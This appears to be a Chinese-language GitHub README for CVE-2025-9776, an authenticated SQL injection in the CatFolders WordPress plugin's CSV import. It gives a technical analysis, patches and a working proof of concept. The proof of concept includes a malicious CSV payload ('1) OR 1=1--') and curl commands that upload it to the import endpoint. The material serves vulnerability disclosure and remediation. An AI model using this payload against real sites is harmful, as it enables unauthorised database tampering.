SnailSploit/CVE-2025-9776

GitHub: SnailSploit/CVE-2025-9776

针对 WordPress CatFolders 插件 CSV 导入功能中认证 SQL 注入漏洞(CVE-2025-9776)的 PoC、技术分析与修复方案。

Stars: 0 | Forks: 1

# CVE-2025-9776:CatFolders WordPress 插件中的认证 SQL 注入漏洞 [![CVE](https://img.shields.io/badge/CVE-2025--9776-red)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-9776) [![CVSS 评分](https://img.shields.io/badge/CVSS-6.5%20Medium-orange)](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator) [![WordPress 插件](https://img.shields.io/badge/WordPress-Plugin-blue)](https://wordpress.org/plugins/catfolders/) [![CWE-89](https://img.shields.io/badge/CWE-89-critical)](https://cwe.mitre.org/data/definitions/89.html) [![Wordfence](https://img.shields.io/badge/Disclosed-Wordfence-success)](https://www.wordfence.com/) ## 目录 - [概述](#overview) - [漏洞详情](#vulnerability-details) - [技术分析](#technical-details) - [概念验证](#proof-of-concept) - [修复指南](#remediation) - [CVSS 指标](#cvss-v31-metrics) - [参考链接](#references) - [安全联系](#contact) ## 概述 在 CatFolders WordPress 插件中发现了一个认证 SQL 注入漏洞,该漏洞允许作者级别的用户通过恶意 CSV 导入来操纵数据库查询。 **发现者:** Kai Aizen (SnailSploit) **发布年份:** 2025 **CVSS 评分:** 6.5(中危) **CWE:** CWE-89 - SQL 注入 ## 漏洞详情 ### 描述 CatFolders – Tame Your WordPress Media Library by Category 插件的 CSV 导入功能中存在一个认证 SQL 注入漏洞。用户提供的 CSV 中的 `attachments` 列被拆分为列表,并直接传递给 `FolderModel::set_attachments()`,该方法将这些值连接到原始的 SQL `IN (...)` 子句中,而没有进行适当的清理或参数化处理。 ### 影响 此漏洞允许具有作者级别权限的已认证攻击者: - 执行任意 SQL 查询 - 批量删除或操纵文件夹与附件的映射关系 - 根据有效载荷和数据库结构可能导致数据泄露 - 破坏数据库的完整性和可用性 ### 受影响版本 - **易受攻击:** 所有 ≤ 2.5.2 的版本 - **已修补:** 2.5.3 及更高版本(请与供应商核实) ### CVSS v3.1 指标 ``` CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L ``` | 指标 | 值 | |--------|-------| | 攻击途径 | 网络 (AV:N) | | 攻击复杂度 | 低 (AC:L) | | 所需权限 | 低 (PR:L) - 作者及以上 | | 用户交互 | 无 (UI:N) | | 范围 | 不变 (S:U) | | 机密性 | 无 (C:N) | | 完整性 | 低 (I:L) | | 可用性 | 低 (A:L) | ## 技术详情 ### 易受攻击的代码路径 该漏洞存在于 CSV 导入工作流中: **文件:** `includes/Rest/Controllers/ImportController.php` 1. `import_csv` 方法解析上传的 CSV 时没有进行逐字段清理 2. `restore_folders()` 调用: ``` FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false ); ``` **文件:** `includes/Models/FolderModel.php` 3. `set_attachments()` 使用字符串拼接构建原始 SQL: ``` 'raw' => 'post_id IN (' . $attachmentIds . ')' ``` 4. 每个元素**没有**被强制转换为整数,也没有进行参数化处理,从而导致 SQL 注入 ### 攻击途径 具有作者级别权限(`upload_files` 能力)的攻击者可以通过 CSV 导入端点注入恶意 SQL: **恶意 CSV 有效载荷:** ``` id,name,attachments 1,Test Folder,"1) OR 1=1--" ``` **生成的易受攻击查询:** ``` SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--) ``` 这会破坏 `IN(...)` 子句并改变查询语义,可能会影响所有数据行。 ### 前置条件 - 目标 WordPress 站点上的作者级别(或更高权限)账户 - 已安装并激活 CatFolders 插件 - 能够访问 REST API 导入端点 ## 概念验证 ### 第一步:发现 REST 命名空间 ``` curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$' ``` 典型结果:`/catf/v1/import-csv` ### 第二步:准备恶意 CSV 创建一个名为 `catf_inject.csv` 的文件: ``` id,name,attachments 1,Malicious Folder,"1) OR 1=1--" ``` ### 第三步:执行攻击 ``` NS="/catf/v1" # Replace with discovered namespace curl -i \ -u 'author_user:APPLICATION_PASSWORD' \ -F "file=@catf_inject.csv;type=text/csv" \ -X POST "https://target.site/wp-json${NS}/import-csv" ``` **预期响应:** ``` { "success": true } ``` ### 影响演示 服务器构建并执行以下语句: ``` SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--) ``` 这可能会执行超出预期范围的 DELETE/INSERT 操作,通常会清除整个数据库中的文件夹与附件关系。 ### 安全测试环境 运行独立的 SQLite 模拟程序以安全地观察该漏洞: ``` python3 poc/catfolders_sql_poc.py ``` 这会打印出易受攻击的查询,并演示恶意令牌如何返回所有行,而参数化版本则会正确地拒绝它。 ## 修复 ### 面向站点管理员 **需要立即采取的行动:** 1. 将 CatFolders 更新到 **2.5.3** 或更高版本 2. 审查具有作者级别或更高权限的用户账户 3. 检查数据库日志中受影响日期范围内的可疑查询 4. 检查文件夹与附件映射是否存在意外修改 ### 面向开发者 **两个最小化的加固步骤:** #### 1. 在调用模型之前清理 ID ``` - FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false ); + $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) ); + if ( ! empty( $ids ) ) { + FolderModel::set_attachments( (int) $new_folder['id'], $ids, false ); + } ``` #### 2. 在 `set_attachments()` 内部强制使用整数 ``` $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds ); + $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) ); ``` ### 更强烈的建议 使用 WordPress 的 `$wpdb->prepare()` 将**所有**原始 SQL 拼接替换为参数化查询: ``` $placeholders = implode(',', array_fill(0, count($imgIds), '%d')); $query = $wpdb->prepare( "SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)", ...$imgIds ); ``` **此外:** - 在处理前严格验证所有 CSV 字段 - 在 API 层实现输入类型验证 - 为导入端点添加速率限制 - 记录所有导入操作以供审计追踪 ### 补丁文件 完整的补丁可在 `patch/catfolders_fix.patch` 中找到 ## 仓库结构 ``` CVE-2025-9776/ ├── README.md # This file ├── poc/ │ ├── catf_inject.csv # Malicious CSV payload │ └── catfolders_sql_poc.py # Safe SQLite simulation └── patch/ └── catfolders_fix.patch # Recommended fixes ``` ## 时间线 - **发现日期:** 2025 - **供应商通知:** 通过 Wordfence 进行协调披露 - **公开披露:** 2025 - **补丁可用:** 2.5.3 版本 ## 参考链接 - [MITRE CVE 条目](https://www.cve.org/CVERecord?id=CVE-2025-9776) - [Wordfence 情报公告](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/catfolders/catfolders-tame-your-wordpress-media-library-by-category-252-authenticated-author-sql-injection-via-csv-import) - [WordPress 插件目录](https://wordpress.org/plugins/catfolders/) - [SnailSploit 研究](https://snailsploit.com) ## 致谢 **研究员:** Kai Aizen (SnailSploit) **披露流程:** 通过 Wordfence 漏洞赏金计划进行协调 ## 道德考量 **⚠️ 重要免责声明** 此概念验证**仅用于防御性研究和教育目的**。 ### 使用指南 - ✅ **要:** 在您自己的系统上测试,或在获得明确书面授权的情况下使用 - ✅ **要:** 用于安全培训和意识提升 - ✅ **要:** 在您自己的代码中实施修复 - ❌ **不要:** 在未经许可的情况下对系统进行测试 - ❌ **不要:** 用于恶意目的 - ❌ **不要:** 在生产环境中利用此漏洞 ### 法律声明 未经授权访问计算机系统在以下法律中属违法行为: - 计算机欺诈和滥用法 (CFAA) - 美国 - 滥用计算机法 - 英国 - 其他司法管辖区的类似立法 **使用需自行承担风险。研究人员和 SnailSploit 对此信息的误用不承担任何责任。** ## 联系方式 如有关于此漏洞的问题或需要更多信息: - **电子邮件:** kai@owasp.com - **LinkedIn:** [linkedin.com/in/kaiaizen](https://linkedin.com/in/kaiaizen) - **网站:** [snailsploit.com](https://snailsploit.com) - **组织:** SnailSploit 安全研究 **保持安全,并让您的 WordPress 保持更新!** *最后更新:2025 年 10 月 13 日* ## 📚 文档与作者 本项目的完整文章、研究方法和相关研究位于: **[https://snailsploit.com/security-research/cves/cve-2025-9776/](https://snailsploit.com/security-research/cves/cve-2025-9776/)** 由 **Kai Aizen** 创建 —— 独立的攻防安全研究员。 [snailsploit.com](https://snailsploit.com) · [研究](https://snailsploit.com/research) · [框架](https://snailsploit.com/frameworks) · [GitHub](https://github.com/SnailSploit) · [LinkedIn](https://linkedin.com/in/kaiaizen) · [ResearchGate](https://www.researchgate.net/profile/Kai-Aizen-2) · [X/Twitter](https://x.com/SnailSploit)
标签:CatFolders, CISA项目, CSV导入漏洞, CVE-2025-9776, CVSS 6.5, CWE-89, PNNL实验室, POC, SnailSploit, Web安全, Wordfence, WordPress安全, WordPress插件漏洞, 多线程, 操作系统监控, 漏洞分析, 漏洞复现, 蓝队分析, 路径探测, 逆向工具